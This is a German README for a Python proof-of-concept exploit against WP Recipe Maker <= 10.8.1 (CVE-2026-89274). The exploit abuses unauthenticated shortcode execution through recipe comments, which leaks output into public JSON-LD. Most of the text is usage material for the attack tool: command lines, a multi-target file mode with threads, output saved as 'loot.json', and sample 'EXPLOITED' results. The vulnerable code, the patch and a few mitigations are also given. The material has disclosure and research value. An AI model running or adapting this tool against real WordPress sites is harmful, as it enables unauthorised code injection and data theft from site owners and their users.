
Python-PoC-Exploit für CVE-2026-89274, eine nicht authentifizierte Schwachstelle zur beliebigen Shortcode-Ausführung in WordPress WP Recipe Maker <= 10.8.1 über Rezeptkommentare.
Poloss : @WPEF0
Proof-of-Concept-Exploit für CVE-2026-89274 — eine Schwachstelle zur Unauthenticated Arbitrary Shortcode Execution im WordPress-Plugin WP Recipe Maker in der Version ≤ 10.8.1.
⚠️ RECHTLICHER & ETHISCHER HINWEIS Dieses Skript wird ausschließlich für Sicherheitsforschung in einer lokalen Umgebung (localhost/Lab) bereitgestellt und darf nicht gegen Systeme eingesetzt werden, die Ihnen nicht gehören oder für die keine schriftliche Genehmigung vorliegt. Der Autor übernimmt keine Haftung für Missbrauch. Die Nutzung gegen Systeme Dritter ohne Autorisierung kann strafbar sein.
| Feld | Wert |
|---|
| CVE ID | CVE-2026-89274 |
| Ziel | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Klasse | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vektor | Rezept-Kommentarinhalt (unauthenticated) |
| Sink | do_shortcode() in class-wprm-metadata.php |
| Auswirkung | Server-seitige Shortcode-Ausführung → Datenleck über öffentliches JSON-LD |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnerable (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() führt den Shortcode zuerst aus, danach bereinigt strip_shortcodes() lediglich die Ausgabe — es gibt keinerlei Schutz.
Patched (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (öffentlicher Kommentar zum Rezept-Post)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK-AUSFÜHRUNG
└─> wp_json_encode() nach <script type="application/ld+json">
wprm-comment-rating (wird über das Kommentarformular befüllt).git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Keine externen Abhängigkeiten — nur die Python-3-Standardbibliothek.
Voraussetzungen: Python 3.8+.
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
Format von targets.txt (eine pro Zeile, url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# Kommentarzeilen werden ignoriert
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Default | Beschreibung |
|---|---|---|
-u, --url | — | Einzelne Ziel-URL |
-f, --file | — | Datei mit Zielliste (url[,post_id] pro Zeile) |
-p, --post | 10 | ID des Posts, der das Rezept enthält |
-t, --threads | 5 | Anzahl der Worker-Threads |
-o, --output | cve-2026-89274-loot.json | JSON-Ausgabedatei |
--shortcode | [wprm-recipe-name id=11] | Auszuführende Shortcode-Payload |
--marker | PoC Recipe | Nachweis-Substring der Ausführung in reviewBody |
--rating | 5 | WPRM-Rating-Wert |
--timeout | 25 | Timeout pro Request (Sekunden) |
<script type="application/ld+json">-Blocks, Sammeln von reviewBody./wp-comments-post.php mit Payload + Feld wprm-comment-rating.--marker in reviewBody erscheint → EXPLOITED. Falls nicht → PENDING_APPROVAL.| Status | Bedeutung |
|---|---|
EXPLOITED | Shortcode ausgeführt & Ausgabe in öffentliches JSON-LD geleakt |
PENDING_APPROVAL | Kommentar übermittelt, wartet auf Moderator-Genehmigung |
FAIL | Seite nicht erreichbar / Kommentar abgelehnt / Fehler |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 und prüfen Sie Kommentare streng.[...]) in Kommentar-Feldern zu blockieren..
├── CVE-2026-89274.py # Haupt-Exploit
└── README.md # dieses Dokument